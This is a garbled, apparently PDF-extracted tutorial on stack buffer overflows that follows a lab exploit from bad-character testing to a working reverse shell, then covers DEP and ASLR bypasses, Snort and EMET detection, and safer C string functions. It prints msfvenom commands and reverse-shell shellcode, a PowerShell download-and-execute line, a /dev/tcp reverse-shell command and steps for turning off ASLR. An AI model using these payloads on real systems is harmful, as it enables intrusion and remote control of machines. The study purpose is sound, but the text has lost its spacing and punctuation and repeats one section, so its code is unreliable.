learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via
GPOetc
ltQueryListgt
ltQueryId=0Path=Applicationgt
ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt
ltQuerygt
ltQueryListgt
To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and
configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service
to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on
somepredefinedSplunkpolicy
Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an
exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog
The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server
BasicallythispolicysayswhichlogscangetsentontotheSIEM
[WinEventLogForwardedEvents]
disabled=0
renderXml=1
evt_resolve_ad_obj=1
The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to
and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk
queries
SampleEMETEvent
EMETversion55587131892
EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE
EAF+checkfailed
ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE
UserNameDOMAINuser
SessionID1
PID0x1348(4936)
TID0xF90(3984)
ModuleSOMEDLLdll
ModBase0x11630000
ModAddress0x11642E99
MemAddress0x76F501A4
Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to
prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may
need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice
beachheadtomaintainafoothold
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf
httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server
DetectingSuccessfulBufferOverAttempts
The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker
has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed
which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two
approachespaintsasolidpicture
1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)
2) Hostbasedsignaturedetection
NetworkBasedDetection
Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the
clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication
1 EncodedHEXpayloadmalwarewithintheclientattack
2 Abunchofx90rsquoswithintheclientattack
3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal
If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have
SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from
bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit
generatedBSDshellcode
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)
content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416
classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment
Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at
2010_07_30updated_at2016_07_01)
alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation
BypassingASLR
Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and
windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible
chunksandhopefullythishelpsguidemyselfandotherfurtherstudies
NonASLRlinkedbinaries
It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with
some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something
that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR
enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the
memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program
with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass
ASLRandbeginaROPattack
httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf
httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf
PointerLeaksDanglingPointers
If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot
for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code
into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE
which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory
object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that
the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how
virtualfunctionsarereferencedviavirtualtables
httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf
httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf
httpswwwrapid7comresourceswhy-you-should-be-using-emet
HEAPSprayswithASLRdisabledVirtualAlloc()inWindows
If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create
write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can
either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by
VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this
seemslikejustplainluck
httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified
httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf
BlueteamEngineeringforpostBufferOverflow
For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just
learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos
are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues
SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to
Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I
thoughtthroughthisIlumpedthedetectionintotwobuckets
1 DetectingFailedBufferOverflowAttempts
2 DetectingSuccessfullyBufferOverflowAttempts
DetectingFailedBufferOverAttemptsinWindows
If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events
are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the
oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog
For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as
the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases
whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked
EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their
sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a
similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM
Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a
